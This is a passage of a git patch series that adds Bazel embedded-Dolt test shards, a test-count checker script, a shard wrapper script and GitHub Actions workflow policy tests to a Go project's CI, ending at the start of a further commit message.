RBE_TLS_CA: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && 'oss' || '' }} + + # --build_event_json_file is a command option, so it goes after `test`. + - name: bazel test //... --config=embedded + id: test + timeout-minutes: 50 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=embedded \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=embedded: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + # A shard the manifest assigns nothing, or a selector that matches + # nothing, exits 0: fail if any target's or shard's test.xml lists no + # tests (or is missing). + - name: Every target and shard ran tests + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome != 'skipped' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-embedded-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + # pr.yml's container-backed jobs, "Test (storage domain + uow)" and # "Contract corpus", as Bazel's docker lane: --config=docker runs the # requires-docker variants (domain/db, uow, tracker, doctor/fix, protocol) diff --git a/BUILD.bazel b/BUILD.bazel index e97ad1716..98d7c32c3 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -65,6 +65,24 @@ filegroup( visibility = ["//scripts:__pkg__"], ) +# PR Risk's embedded-Dolt shard scripts and their committed manifests. The +# embedded variants (//cmd/bd:bd_embedded_test, +# //internal/storage/embeddeddolt:embeddeddolt_embedded_test) run them through +# tools/bazel/go_test_manifest_shard.sh, so each Bazel shard runs exactly the +# tests of the CI job with the same shard number. +exports_files( + [ + ".github/scripts/embedded-cmd-test-shards.txt", + ".github/scripts/embedded-storage-test-shard.sh", + ".github/scripts/embedded-storage-test-shards.txt", + ".github/scripts/embedded-test-shard.sh", + ], + visibility = [ + "//cmd/bd:__pkg__", + "//internal/storage/embeddeddolt:__pkg__", + ], +) + # //scripts:scripts_test runs scripts/test.sh, which sources the canonical # build flags and reads the known-broken-test skip list. filegroup( diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index fb0b556f9..779633994 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "bd_lib", @@ -1259,6 +1260,50 @@ go_test( }), ) +# bd_test as PR Risk's "Test (Embedded Dolt Cmd N/20)" jobs run it: shard k +# runs .github/scripts/embedded-test-shard.sh k 20 (the TestEmbedded* functions +# of *_embedded_test.go, assigned by the committed manifest) against this +# configuration's bd_test, with BEADS_TEST_EMBEDDED_DOLT=1 and the race bd +# (//cmd/bd:bd under --config=embedded) as the subprocess binary, like the +# jobs' /tmp/bd-embedded-test. It repeats bd_test's `env` (the wrapper cannot +# inherit it). shard_count must stay equal to the manifest's shard total. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "bd_embedded_test", + size = "large", + # The script gives the binary the job's -test.timeout=20m, as long as + # Bazel's 1200s action limit (eternal under --config=embedded), which + # starts earlier and kills without a goroutine dump (rules_go's wrapper + # ignores the SIGTERM). The trailing -test.timeout=19m overrides it (the + # last flag wins) so Go's own timeout fires first and dumps to test.log. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_manifest_shard.sh"], + args = [ + "$(rootpath //:.github/scripts/embedded-test-shard.sh)", + "BEADS_TEST_CMD_BINARY", + "$(rootpath :bd_test)", + "-test.timeout=19m", + ], + data = [ + ":bd", + ":bd_test", + ":go_srcs", + "//:.github/scripts/embedded-cmd-test-shards.txt", + "//:.github/scripts/embedded-test-shard.sh", + "@go_sdk//:bin/gofmt", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", + "BEADS_TEST_EMBEDDED_DOLT": "1", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + }, + shard_count = 20, + tags = ["embedded"], +) + # CLI flag registrations pinned by //internal/httpapi spec parity tests. exports_files( [ diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 5bf6acf98..3d4a9188d 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -315,6 +315,7 @@ go_test( "version_commit_deferred_test.go", "version_reconciler_contract_test.go", "version_scope_completeness_test.go", + "version_staging_completeness_test.go", "versioned_test.go", "wisp_custom_type_tx_test.go", "wisp_gc_test.go", diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 70e52e4cf..90086664c 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "embeddeddolt", @@ -244,6 +245,95 @@ go_test( ], ) +# embeddeddolt_test as PR Risk's "Test (Embedded Dolt Storage N/5)" jobs run +# it: shard k runs .github/scripts/embedded-storage-test-shard.sh k 5 (every +# top-level test but TestConformance, assigned by the committed manifest) +# with BEADS_TEST_EMBEDDED_DOLT=1; the wrapper points +# BEADS_TEST_EMBEDDED_TEST_BINARY at this binary, which the concurrency test +# re-executes. shard_count must stay equal to the manifest's shard total. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "embeddeddolt_embedded_test", + size = "large", + # The script gives the binary the job's -test.timeout=15m per shard; it + # fires (with a goroutine dump) well before Bazel's 1200s action limit + # (eternal under --config=embedded). The job itself also stops at 15m. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_manifest_shard.sh"], + args = [ + "$(rootpath //:.github/scripts/embedded-storage-test-shard.sh)", + "BEADS_TEST_EMBEDDED_TEST_BINARY", + "$(rootpath :embeddeddolt_test)", + ], + data = [ + ":embeddeddolt_test", + ":go_srcs", + "//:.github/scripts/embedded-storage-test-shard.sh", + "//:.github/scripts/embedded-storage-test-shards.txt", + ], + env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, + shard_count = 5, + tags = ["embedded"], +) + +# PR Risk's "Test (Embedded Dolt Conformance - core)" job: conformance.RunAll +# except its Audit group, with the job's binary flags but -test.timeout. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "embeddeddolt_conformance_core_test", + size = "large", + # Deviation from the job's -test.timeout=30m: Bazel ends the action at + # 1200s (eternal under --config=embedded), and rules_go's wrapper ignores + # that SIGTERM, so a hang would end as a bare TIMEOUT. 19m lets Go's own + # timeout fire first and dump every goroutine to test.log. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :embeddeddolt_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + "-test.run=^TestConformance$$", + "-test.skip=^TestConformance$$/^Audit$$", + ], + data = [":embeddeddolt_test"], + env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, + tags = ["embedded"], +) + +# PR Risk's "Test (Embedded Dolt Conformance - audit)" job: the Audit group of +# conformance.RunAll alone, with the same -test.timeout deviation as core. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "embeddeddolt_conformance_audit_test", + size = "large", + # Deviation from the job's -test.timeout=30m: Bazel ends the action at + # 1200s (eternal under --config=embedded), and rules_go's wrapper ignores + # that SIGTERM, so a hang would end as a bare TIMEOUT. 19m lets Go's own + # timeout fire first and dump every goroutine to test.log. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :embeddeddolt_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + "-test.run=^TestConformance$$/^Audit$$", + ], + data = [":embeddeddolt_test"], + env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, + tags = ["embedded"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/embeddeddolt/concurrency_test.go b/internal/storage/embeddeddolt/concurrency_test.go index 4c8855ad6..1556ad9ab 100644 --- a/internal/storage/embeddeddolt/concurrency_test.go +++ b/internal/storage/embeddeddolt/concurrency_test.go @@ -34,8 +34,6 @@ func TestConcurrencyMultiProcess(t *testing.T) { ctx, cancel := context.WithTimeout(t.Context(), timeout) defer cancel() - modRoot := mustFindModuleRoot(t) - // All subprocesses share one directory to stress filesystem locking. sharedDir := filepath.Join(t.TempDir(), "embeddeddolt-test") if err := os.MkdirAll(sharedDir, 0o755); err != nil { @@ -81,7 +79,9 @@ func TestConcurrencyMultiProcess(t *testing.T) { "-o", testBin, "./internal/storage/embeddeddolt/", ) - build.Dir = modRoot + // Only this build needs the module root: a pre-built binary (PR + // Risk's, or Bazel's, whose runfiles hold no go.mod) runs anywhere. + build.Dir = mustFindModuleRoot(t) build.Env = append(os.Environ(), "CGO_ENABLED=1") if out, err := build.CombinedOutput(); err != nil { t.Fatalf("build test binary: %v\n%s", err, string(out)) diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index bd842d395..be2f3bb09 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -9,6 +9,7 @@ import ( "reflect" "regexp" "sort" + "strconv" "strings" "testing" @@ -1434,6 +1435,7 @@ const ( bazelJobName = "bazel-test" bazelPureJobName = "bazel-pure" bazelDockerJobName = "bazel-docker" + bazelEmbedJobName = "bazel-embedded" setupBazelActionDir = ".github/actions/setup-bazel" uploadArtifactSHA = "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" downloadArtifactSHA = "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c" @@ -1449,7 +1451,7 @@ const ( // bazel.yml's jobs: the --config=ci lane, and one job per pr.yml job a Bazel // config mirrors. -var bazelJobNames = []string{bazelDockerJobName, bazelPureJobName, bazelJobName} +var bazelJobNames = []string{bazelDockerJobName, bazelEmbedJobName, bazelPureJobName, bazelJobName} // The only triggers bazel.yml may have. pull_request_target (and // workflow_run) would run with secrets in the context of fork PRs. @@ -1505,6 +1507,12 @@ func TestBazelWorkflowIsAdvisory(t *testing.T) { // RBE_WEST_WORKERS; until then same-repo runs are skipped and only fork // PRs and rbe=off dispatches run, locally. const wantIf = "${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }}" + // Except bazel-embedded: remote only. Run locally, its 27 race test + // processes would take an hour or more of a GitHub-hosted runner per fork + // PR, for tests pr-risk.yml's embedded jobs already run there. + wantIfs := map[string]string{ + bazelEmbedJobName: "${{ vars.RBE_WEST_WORKERS == 'true' && (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true }}", + } gate := "(inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && " wantSetupEnv := map[string]string{ "BAZEL_REMOTE_EXECUTOR": "${{ " + gate + "secrets.RBE_WEST_EXECUTOR || '' }}", @@ -1517,8 +1525,12 @@ func TestBazelWorkflowIsAdvisory(t *testing.T) { if job.RunsOn != wantRunsOn { t.Errorf("%s runs-on = %q, want %q", name, job.RunsOn, wantRunsOn) } - if job.If != wantIf { - t.Errorf("%s if = %q, want %q", name, job.If, wantIf) + want, ok := wantIfs[name] + if !ok { + want = wantIf + } + if job.If != want { + t.Errorf("%s if = %q, want %q", name, job.If, want) } for _, step := range job.Steps { if step.Uses == "./"+setupBazelActionDir && !reflect.DeepEqual(step.Env, wantSetupEnv) { @@ -1771,6 +1783,198 @@ func TestBazelDockerJobMirrorsContainerJobs(t *testing.T) { } } +// The default shard manifest of a PR Risk shard script. +var shardManifestDefault = regexp.MustCompile(`\$\{BEADS_TEST_SHARD_MANIFEST:-([^}]+)\}`) + +// bazelAttrBlock returns the text of a list attribute (` name = [` up to +// its closing ` ],`) of a rule block from bazelRuleBlock, or "". +func bazelAttrBlock(rule, name string) string { + i := strings.Index(rule, "\n "+name+" = [") + if i < 0 { + return "" + } + end := strings.Index(rule[i:], "\n ],\n") + if end < 0 { + return rule[i:] + } + return rule[i : i+end+7] +} + +// bazelRuleBlock returns the text of the top-level rule named name in a +// BUILD file, or "" if there is none. +func bazelRuleBlock(build, name string) string { + i := strings.Index(build, "\n name = \""+name+"\",\n") + if i < 0 { + return "" + } + start := strings.LastIndex(build[:i], "\n") + 1 + end := strings.Index(build[i:], "\n)\n") + if end < 0 { + return build[start:] + } + return build[start : i+end+3] +} + +// bazel-embedded replaces pr-risk.yml's embedded-Dolt tier: --config=embedded +// runs the embedded variants race like the jobs' binaries, with the jobs' +// parallelism; each shard variant runs its job's shard script with the job's +// shard total, and the conformance variants pass the jobs' exact selectors. +func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelEmbedJobName) + test := job.step(t, "bazel test //... --config=embedded") + if !strings.Contains(test.Run, "bazel test //... --config=embedded") || !strings.Contains(test.Run, "set -o pipefail") { + t.Errorf("embedded step does not run --config=embedded over //...:\n%s", test.Run) + } + if strings.Contains(test.Run, "--config=remote-exec") { + t.Errorf("embedded step selects remote-exec itself; setup-bazel's rc does that only when secrets are present") + } + assertTestStepKeepsExitStatus(t, test) + // A shard with no tests assigned, or a selector that matches nothing, + // exits 0; the job fails on any target or shard whose test.xml lists none. + if !strings.Contains(test.Run, `--build_event_json_file="$RUNNER_TEMP/bazel-bep.json"`) { + t.Errorf("embedded step writes no BEP for the test-count check:\n%s", test.Run) + } + count := job.step(t, "Every target and shard ran tests") + if strings.TrimSpace(count.Run) != `python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json"` || + count.If != "${{ always() && steps.test.outcome != 'skipped' }}" || + (count.ContinueOnError != nil && count.ContinueOnError != false) { + t.Errorf("test-count step: if=%q continue-on-error=%v run=%q", count.If, count.ContinueOnError, count.Run) + } + + rc := map[string]bool{} + for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { + rc[strings.TrimSpace(line)] = true + } + for _, want := range []string{ + "test:embedded --@rules_go//go/config:race", + "test:embedded --test_tag_filters=embedded", + // The jobs pass no -parallel: GOMAXPROCS on 4-vCPU ubuntu-latest. + "test:embedded --test_arg=-test.parallel=4", + } { + if !rc[want] { + t.Errorf(".bazelrc lacks %q", want) + } + } + for line := range rc { + if strings.HasPrefix(line, "test:embedded ") && (strings.Contains(line, "-test.short") || strings.Contains(line, "BEADS_TEST_SKIP")) { + t.Errorf(".bazelrc %q: the embedded jobs run without -short and BEADS_TEST_SKIP", line) + } + } + + risk := readCIWorkflow(t, "pr-risk.yml") + build := risk.job(t, "build-embedded") + for step, want := range map[string]string{ + "Build embedded bd binary": "go build -tags gms_pure_go -race -o /tmp/bd-embedded-test ./cmd/bd/", + "Build embedded storage test binary": "go test -tags gms_pure_go -race -c -o /tmp/embeddeddolt-test ./internal/storage/embeddeddolt/", + "Build embedded cmd test binary": "go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/", + } { + if got := strings.TrimSpace(build.step(t, step).Run); got != want { + t.Errorf("pr-risk.yml %q = %q, want %q (the race build --config=embedded mirrors)", step, got, want) + } + } + + sharded := []struct { + job, script, pkg, target string + }{ + {"test-embedded-cmd", ".github/scripts/embedded-test-shard.sh", "cmd/bd", "bd_embedded_test"}, + {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt", "embeddeddolt_embedded_test"}, + } + for _, c := range sharded { + j := risk.job(t, c.job) + shards := len(j.Strategy.Matrix.Shard) + step := j.step(t, "Test") + if want := "bash " + c.script + " ${{ matrix.shard }} " + strconv.Itoa(shards); strings.TrimSpace(step.Run) != want { + t.Errorf("pr-risk.yml %s runs %q, want %q", c.job, step.Run, want) + } + if step.Env["BEADS_TEST_EMBEDDED_DOLT"] != "1" { + t.Errorf("pr-risk.yml %s no longer sets BEADS_TEST_EMBEDDED_DOLT=1; update %s", c.job, c.target) + } + if os.Getenv("TEST_SRCDIR") != "" { + continue // scripts_test's runfiles hold no other package's BUILD + } + root := sourceRepoRoot(t) + rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) + for _, want := range []string{ + `srcs = ["//tools/bazel:go_test_manifest_shard.sh"],`, + `"$(rootpath //:` + c.script + `)",`, + "shard_count = " + strconv.Itoa(shards) + ",", + `"BEADS_TEST_EMBEDDED_DOLT": "1"`, + `"embedded"`, + } { + if !strings.Contains(rule, want) { + t.Errorf("%s:%s does not contain %q (pr-risk.yml %s):\n%s", c.pkg, c.target, want, c.job, rule) + } + } + // The script and its manifest must be in the runfiles: without the + // manifest the script silently falls back to hash assignment, so + // every shard still passes but no longer runs its job's tests. + m := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) + if m == nil { + t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) + } + data := bazelAttrBlock(rule, "data") + for _, file := range []string{c.script, m[1]} { + if !strings.Contains(data, `"//:`+file+`",`) { + t.Errorf("%s:%s data lacks //:%s:\n%s", c.pkg, c.target, file, data) + } + } + } + if os.Getenv("TEST_SRCDIR") == "" { + // The cmd jobs' subprocess bd is the race build, as //cmd/bd:bd is + // under --config=embedded (bd_for_tests never is). + rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "cmd/bd/BUILD.bazel"), "bd_embedded_test") + if !strings.Contains(rule, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)"`) { + t.Errorf("cmd/bd:bd_embedded_test must run the race //cmd/bd:bd as BEADS_TEST_BD_BINARY:\n%s", rule) + } + // The script's -test.timeout=20m equals Bazel's 1200s action limit, + // which kills without a goroutine dump; 19m lets Go's fire first. + if !strings.Contains(bazelAttrBlock(rule, "args"), `"-test.timeout=19m",`) { + t.Errorf("cmd/bd:bd_embedded_test must pass -test.timeout=19m after the script's own:\n%s", rule) + } + } + + conformance := risk.job(t, "test-embedded-conformance") + if conformance.Env["BEADS_TEST_EMBEDDED_DOLT"] != "1" { + t.Error("pr-risk.yml test-embedded-conformance no longer sets BEADS_TEST_EMBEDDED_DOLT=1") + } + quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) + for partition, target := range map[string]string{"core": "embeddeddolt_conformance_core_test", "audit": "embeddeddolt_conformance_audit_test"} { + run := conformance.step(t, "Test "+partition+" conformance").Run + fields := strings.Fields(run) + if len(fields) == 0 || fields[0] != "/tmp/embeddeddolt-test" { + t.Fatalf("pr-risk.yml %s conformance no longer runs /tmp/embeddeddolt-test: %q", partition, run) + } + var want []string + for _, m := range quoted.FindAllStringSubmatch(run, -1) { + switch { + case m[1] != "": + want = append(want, `"`+m[1]+"="+strings.ReplaceAll(m[2], "$", "$$")+`",`) + case strings.HasPrefix(m[3], "-test.timeout="): + // Documented deviation: Bazel kills at 1200s without a + // goroutine dump, so the variant's Go timeout is 19m. + if m[3] != "-test.timeout=30m" { + t.Errorf("pr-risk.yml %s conformance timeout is now %q; revisit the variant's -test.timeout=19m", partition, m[3]) + } + want = append(want, `"-test.timeout=19m",`) + default: + want = append(want, `"`+m[3]+`",`) + } + } + if len(want) < 4 { + t.Fatalf("parsed only %v from pr-risk.yml %s conformance %q", want, partition, run) + } + if os.Getenv("TEST_SRCDIR") != "" { + continue + } + rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "internal/storage/embeddeddolt/BUILD.bazel"), target) + for _, w := range append(want, `"BEADS_TEST_EMBEDDED_DOLT": "1"`, `"embedded"`) { + if !strings.Contains(rule, w) { + t.Errorf("embeddeddolt:%s does not contain %q (pr-risk.yml %s conformance):\n%s", target, w, partition, rule) + } + } + } +} + // bazel-pure replaces pr.yml's check-cmd-bd-puregeo-tests job: the same pure // cmd/bd test selector, the same pure build set, and the js/wasm hook test // under the same exact-count guard. diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 9d7afb436..19e36ec2e 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -25,6 +25,14 @@ exports_files( visibility = ["//visibility:public"], ) +# sh_test src that runs one Bazel shard of an existing go_test binary through +# a PR Risk manifest shard script (see the script header), e.g. +# //cmd/bd:bd_embedded_test. +exports_files( + ["go_test_manifest_shard.sh"], + visibility = ["//visibility:public"], +) + # Wraps every test process (`test --run_under` in .bazelrc) with the isolated # HOME/XDG/Dolt/git environment that scripts/ci/lib/test-env.sh gives `go test`. # Bazel merges the run_under target's runfiles into every test's runfiles, so diff --git a/tools/bazel/check_testcases.py b/tools/bazel/check_testcases.py new file mode 100755 index 000000000..a57a35571 --- /dev/null +++ b/tools/bazel/check_testcases.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python3 +"""Fail if a Bazel test (or any shard of it) ran no Go tests. + +Usage: check_testcases.py --bep [--testlogs DIR] + +A test target whose Go binary matches no test still exits 0: a shard script +whose manifest assigns a shard nothing ("no tests assigned"), a -test.run +selector that matches nothing, a manifest missing from runfiles. This reads +the tests a `bazel test` invocation ran from its BEP and requires every +target's test.xml, and every shard's, to list at least one top-level + (a Test* name without "/"). It needs the test.xml files locally +(--remote_download_regex=.*/test\\.xml$) and -test.v in them +(GO_TEST_WRAP_TESTV=1), as --config=ci and --config=embedded set. + +Exit status: 0 if every test.xml lists a test, 1 otherwise (including a BEP +with no test results at all). +""" + +import argparse +import os +import sys +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from equivalence import read_bep, testlog_xmls # noqa: E402 + + +def count_testcases(xml_path): + """Return the number of top-level Go tests in a test.xml.""" + n = 0 + for tc in ET.parse(xml_path).getroot().iter("testcase"): + name = tc.get("name", "") + if name.startswith("Test") and "/" not in name: + n += 1 + return n + + +def check(tested, testlogs): + """Return ([(xml path, count)], [problems]) for {label: shard_count}.""" + counts, problems = [], [] + if not tested: + problems.append("the BEP lists no test results") + for label, shards in sorted(tested.items()): + for xml_path in testlog_xmls(testlogs, label, shards): + rel = os.path.relpath(xml_path, testlogs) + if not os.path.exists(xml_path): + problems.append(f"{label}: {rel} missing (was test.xml downloaded?)") + continue + try: + n = count_testcases(xml_path) + except ET.ParseError as e: + problems.append(f"{label}: cannot parse {rel}: {e}") + continue + counts.append((rel, n)) + if n == 0: + problems.append(f"{label}: {rel} lists no tests") + return counts, problems + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__.split("\n\n")[0]) + ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") + ap.add_argument("--testlogs", default=None, help="default: from the BEP, else ./bazel-testlogs") + args = ap.parse_args(argv) + + tested, _, bep_testlogs = read_bep(args.bep) + testlogs = args.testlogs or bep_testlogs or "bazel-testlogs" + counts, problems = check(tested, testlogs) + for rel, n in counts: + print(f"{n:5d} {rel}") + total = sum(n for _, n in counts) + print(f"{len(tested)} targets, {len(counts)} test.xml, {total} top-level tests") + for p in problems: + print(f"FAIL: {p}", file=sys.stderr) + return 1 if problems else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/bazel/equivalence.py b/tools/bazel/equivalence.py index aae3c2252..256c7c248 100644 --- a/tools/bazel/equivalence.py +++ b/tools/bazel/equivalence.py @@ -34,7 +34,8 @@ Job mode (--job, with --go-test-json): the go test JSON is the whole expected set instead of `go list ./...`. Use it to prove that a Bazel selection (one or more --bep runs, e.g. --config=ci plus --config=docker) replaces one specific CI job: every top-level test the job's command ran must have run under Bazel, -Bazel must run no other test in those packages, and no test the job passed may +Bazel must run no other test in those packages (TestEmbedded* included: job +mode has no implicit ^TestEmbedded skip, so it can check the embedded tier), and no test the job passed may be skipped under Bazel. A test seen in several targets (a go_test and its go_test_variant.sh sh_test) keeps its best status here, since each variant is a different way of running it and the job needs one run that does what it @@ -352,7 +353,9 @@ def main(argv=None): (allowlisted if allowed(entries, pkg, t) else missing).append((pkg, t)) for pkg, seen in sorted(observed.items()): for t in sorted(set(seen) - expected.get(pkg, set())): - if SKIP_RE.search(t): + # The --config=ci lane skips ^TestEmbedded; a job comparison has + # no implicit skip (the embedded tier's jobs run exactly those). + if not args.job and SKIP_RE.search(t): continue (allowlisted if allowed(entries, pkg, t) else extra).append((pkg, t)) @@ -396,7 +399,8 @@ def main(argv=None): return out lines = [ - f"go test: {len(expected)} packages with tests, {n_expected} top-level tests (excluding ^TestEmbedded)", + f"go test: {len(expected)} packages with tests, {n_expected} top-level tests" + + ("" if args.job else " (excluding ^TestEmbedded)"), f"bazel: {len(configured)} go_test targets configured, {len(tested)} tested; " f"{sum(len(v) for v in observed.values())} top-level tests seen " f"({statuses['passed']} passed, {statuses['skipped']} skipped, {statuses['failed']} failed)", diff --git a/tools/bazel/go_test_manifest_shard.sh b/tools/bazel/go_test_manifest_shard.sh new file mode 100755 index 000000000..d991a0b23 --- /dev/null +++ b/tools/bazel/go_test_manifest_shard.sh @@ -0,0 +1,42 @@ +#!/usr/bin/env bash +# Runs one Bazel shard of an existing go_test binary through a PR Risk shard +# script (.github/scripts/embedded-test-shard.sh and +# embedded-storage-test-shard.sh), so the Bazel target runs exactly the tests +# the CI job with the same shard number does: the same discovery, the same +# committed manifest and hash fallback, the same binary flags. Like +# go_test_variant.sh it reuses the go_test's binary instead of compiling the +# package again. +# +# Usage: go_test_manifest_shard.sh +# [binary args...] +# , : runfiles paths ($(rootpath ...)), relative to +# the workspace runfiles directory, which is the test's working directory +# and where the script's source globs (cmd/bd/*_embedded_test.go, ...) +# resolve. +# : the variable the script reads the binary path from +# (BEADS_TEST_CMD_BINARY or BEADS_TEST_EMBEDDED_TEST_BINARY); set to an +# absolute path, since tests re-exec it from their package directory. +# The remaining arguments (and any --test_arg) follow the script's own +# binary flags. +# +# Bazel's shard k of n (shard_count must equal the manifest's shard total) +# becomes the script's shard k+1 of n. The binary itself must not shard again, +# so TEST_TOTAL_SHARDS/TEST_SHARD_INDEX are removed after this wrapper tells +# Bazel it supports sharding. The go_test's own `env` is not inherited (see +# go_test_variant.sh); the target repeats it. +set -euo pipefail +script="$1" +bin_var="$2" +bin="$3" +shift 3 + +total="${TEST_TOTAL_SHARDS:-1}" +index="${TEST_SHARD_INDEX:-0}" +if [[ -n "${TEST_SHARD_STATUS_FILE:-}" ]]; then + touch "$TEST_SHARD_STATUS_FILE" +fi +unset TEST_TOTAL_SHARDS TEST_SHARD_INDEX TEST_SHARD_STATUS_FILE + +export GO_TEST_RUN_FROM_BAZEL=1 +export "$bin_var=$PWD/$bin" +exec bash "$script" "$((index + 1))" "$total" "$@" From 3d76cbd4e91056c02bd724aca74ac5fcec0944ac Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 05:17:36 -0700 Subject: [PATCH 176/624] ci(bazel): dolt-server lane on remote execution (replaces the docker lane) (#6898) * test(bazel): dolt-server lane for the storage domain + uow job --config=doltserver runs pr.yml's "Test (storage domain + uow)" job as remote-executable Bazel tests: each dolt-server target runs an existing go_test binary with BEADS_TEST_DOLT_SERVER=local, so every Dolt server is a `dolt sql-server` child of the test process, started from the pinned dolt the test wrapper already ships. No docker, no no-remote-exec, and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 fails a target whose server cannot start, so cached results are trustworthy. - db_dolt_test, uow_dolt_test (8 shards), tracker_dolt_test, fix_dolt_test (4 shards, BEADS_FIX_REQUIRE_DOLT=1); GOMAXPROCS=4 like the job's runner. - no -short twins of domain, domain/fs, domain/git and tracker/conformance, so the lane alone runs every package of the job. - tag `dolt-server` in the taxonomy; test:prcore (and so test:ci) excludes it. The requires-docker variants stay as the A/B control. Remote (default instance, --nocache_test_results): 9/9 PASS in 113 s wall; longest shard 111 s (uow). Per-test statuses, subtests included, equal the job's go test -json on the same tree: 0 differences. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): contract corpus on the dolt-server lane protocol_dolt_test runs protocol_test as pr.yml's "Contract corpus" job does (non-race via protocol_race_off, BEADS_PROTOCOL_REQUIRE_DOLT=1) with the local dolt sql-server backend, in 8 shards, so the corpus golden, determinism and conformance tests run on remote workers and cannot skip. Remote: 8 shards, longest 53 s. 153 tests (151 PASS / 2 SKIP, subtests included) equal the job's go test -json: 0 differences. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the dolt-server lane in place of the docker lane bazel.yml's container-lane job becomes bazel-doltserver: `bazel test //... --config=doltserver`, whose targets start their own dolt sql-servers and so execute on the remote workers (locally for forks and rbe=off) instead of against the runner's docker daemon. The docker lane stays reachable as the A/B control: workflow_dispatch dolt-lane=docker runs --config=docker in the same job, with the image pull that only it needs. Still advisory; runner, rbe-west gate and secret handling are unchanged. Policy test and TESTING.md follow. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(bazel): reap processes left in a test's private root on exit A Bazel test timeout signals the test's process group, which misses the detached bd db-proxy-child processes (Setsid) and the dolt sql-servers they start. A proxy that died without its idle timeout left its server orphaned on a persistent remote worker. test_env.sh's EXIT trap now 